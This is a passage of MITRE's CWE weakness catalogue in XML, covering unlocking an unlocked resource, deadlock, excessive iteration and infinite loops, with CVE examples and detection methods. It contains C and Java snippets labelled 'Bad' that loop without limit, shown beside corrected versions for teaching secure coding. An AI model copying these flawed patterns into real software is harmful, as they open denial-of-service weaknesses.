                     <xhtml:li>
                        <xhtml:div>SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.</Body_Text>
               <Body_Text>Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.</Body_Text>
               <Body_Text>Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-360"/>
            <Reference External_Reference_ID="REF-361"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-12-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="832" Name="Unlock of a Resource that is not Locked" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product attempts to unlock a resource that is not locked.</Description>
         <Extended_Description>Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Other</Impact>
               <Note>Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-4210</Reference>
               <Description>function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4210</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4302</Reference>
               <Description>Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4302</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1243</Reference>
               <Description>OS kernel performs an unlock in some incorrect circumstances, leading to panic.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1243</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-12-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="833" Name="Deadlock" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.</Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-1999-1476</Reference>
	     <Description>A bug in some Intel Pentium processors allow DoS (hang) via an invalid "CMPXCHG8B" instruction, causing a deadlock</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-1999-1476</Link>
	   </Observed_Example>
           <Observed_Example>
               <Reference>CVE-2009-2857</Reference>
               <Description>OS deadlock</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2857</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1961</Reference>
               <Description>OS deadlock involving 3 separate functions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1961</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2699</Reference>
               <Description>deadlock in library</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2699</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4272</Reference>
               <Description>deadlock triggered by packets that force collisions in a routing table</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1850</Reference>
               <Description>read/write deadlock between web server and script</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1850</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0174</Reference>
               <Description>web server deadlock involving multiple listening connections</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1388</Reference>
               <Description>multiple simultaneous calls to the same function trigger deadlock.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1388</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5158</Reference>
               <Description>chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5158</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4342</Reference>
               <Description>deadlock when an operation is performed on a resource while it is being removed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4342</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2374</Reference>
               <Description>Deadlock in device driver triggered by using file handle of a related device.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2275</Reference>
               <Description>Deadlock when large number of small messages cannot be processed quickly enough.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2275</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3847</Reference>
               <Description>OS kernel has deadlock triggered by a signal during a core dump.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3847</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3106</Reference>
               <Description>Race condition leads to deadlock.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3106</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2456</Reference>
               <Description>Chain: array index error (CWE-129) leads to deadlock (CWE-833)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2456</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK08-J</Entry_ID>
               <Entry_Name>Ensure actively held locks are released on exceptional conditions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="25"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 13, &#34;Synchronization Problems&#34;, section &#34;Starvation and Deadlocks&#34;, Page 760"/>
            <Reference External_Reference_ID="REF-783" Section="Chapter 7, &#34;Concurrency&#34;, section &#34;Mutual Exclusion and Deadlock&#34;, Page 248"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-12-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="834" Name="Excessive Iteration" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.</Description>
         <Extended_Description>If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the product or its host system; it depends on the amount of resources consumed per iteration.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Amplification</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The product's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2011-1027</Reference>
               <Description>Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1027</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2006-6499</Reference>
	      <Description>Chain: web browser crashes due to infinite loop - "bad
	      looping logic [that relies on] floating point math [CWE-1339] to exit
	      the loop [CWE-835]"</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2006-6499</Link>
	    </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Looping Constructs&#34;, Page 327"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="835" Name="Loop with Unreachable Exit Condition ('Infinite Loop')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.</Description>
         <Extended_Description>If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="834" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="834" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Amplification</Impact>
               <Note>An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int processMessagesFromServer(char *hostaddr, int port) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>int servsock;<xhtml:br/>int connected;<xhtml:br/>struct sockaddr_in servaddr;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// create socket to connect to server</xhtml:i>
                           <xhtml:br/>servsock = socket( AF_INET, SOCK_STREAM, 0);<xhtml:br/>memset( &amp;servaddr, 0, sizeof(servaddr));<xhtml:br/>servaddr.sin_family = AF_INET;<xhtml:br/>servaddr.sin_port = htons(port);<xhtml:br/>servaddr.sin_addr.s_addr = inet_addr(hostaddr);<xhtml:br/>
                           <xhtml:br/>do {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// establish connection to server</xhtml:i>
                                 <xhtml:br/>connected = connect(servsock, (struct sockaddr *)&amp;servaddr, sizeof(servaddr));<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// if connected then read and process messages from server</xhtml:i>
                                 <xhtml:br/>if (connected &gt; -1) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// read and process messages</xhtml:i>
                                       <xhtml:br/>...</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// keep trying to establish connection to the server</xhtml:i>
                           <xhtml:br/>} while (connected &lt; 0);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// close socket and return success or failure</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int processMessagesFromServer(char *hostaddr, int port) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:i>// initialize number of attempts counter</xhtml:i>
                           <xhtml:br/>int count = 0;<xhtml:br/>do {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// establish connection to server</xhtml:i>
                                 <xhtml:br/>connected = connect(servsock, (struct sockaddr *)&amp;servaddr, sizeof(servaddr));<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// increment counter</xhtml:i>
                                 <xhtml:br/>count++;<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// if connected then read and process messages from server</xhtml:i>
                                 <xhtml:br/>if (connected &gt; -1) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// read and process messages</xhtml:i>
                                       <xhtml:br/>...</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// keep trying to establish connection to the server</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// up to a maximum number of attempts</xhtml:i>
                           <xhtml:br/>} while (connected &lt; 0 &amp;&amp; count &lt; MAX_ATTEMPTS);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// close socket and return success or failure</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>For this example the method isReorderNeeded as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public boolean isReorderNeeded(String bookISBN, int rateSold) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>boolean isReorder = false;<xhtml:br/>
                           <xhtml:br/>int minimumCount = 10;<xhtml:br/>int days = 0;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// get inventory count for book</xhtml:i>
                           <xhtml:br/>int inventoryCount = inventory.getIventoryCount(bookISBN);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// find number of days until inventory count reaches minimum</xhtml:i>
                           <xhtml:br/>while (inventoryCount &gt; minimumCount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>inventoryCount = inventoryCount - rateSold;<xhtml:br/>days++;<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// if number of days within reorder timeframe</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// set reorder return boolean to true</xhtml:i>
                           <xhtml:br/>if (days &gt; 0 &amp;&amp; days &lt; 5) {<xhtml:div style="margin-left:1em;">isReorder = true;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return isReorder;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop,as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public boolean isReorderNeeded(String bookISBN, int rateSold) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// validate rateSold variable</xhtml:i>
                           <xhtml:br/>if (rateSold &lt; 1) {<xhtml:div style="margin-left:1em;">return isReorder;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-25304</Reference>
               <Description>A Python machine communication platform did not account for receiving a malformed packet with a null size, causing the receiving function to never update the message buffer and be caught in an infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-25304</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-1027</Reference>
               <Description>Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1027</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-1142</Reference>
               <Description>Chain: self-referential values in recursive definitions lead to infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1142</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-1002</Reference>
               <Description>NULL UDP packet is never cleared from a queue, leading to infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1002</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2006-6499</Reference>
	      <Description>Chain: web browser crashes due to infinite loop - "bad
	      looping logic [that relies on] floating point math [CWE-1339] to exit
	      the loop [CWE-835]"</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2006-6499</Link>
	    </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4476</Reference>
               <Description>Floating point conversion routine cycles back and forth between two different values.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4476</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4645</Reference>
               <Description>Floating point conversion routine cycles back and forth between two different values.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4645</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2534</Reference>
               <Description>Chain: improperly clearing a pointer in a linked list leads to infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2534</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2013-1591</Reference>
	      <Description>Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full.</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2013-1591</Link>
	    </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3688</Reference>
               <Description>Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3688</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-835</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Looping Constructs&#34;, Page 327"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-835"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
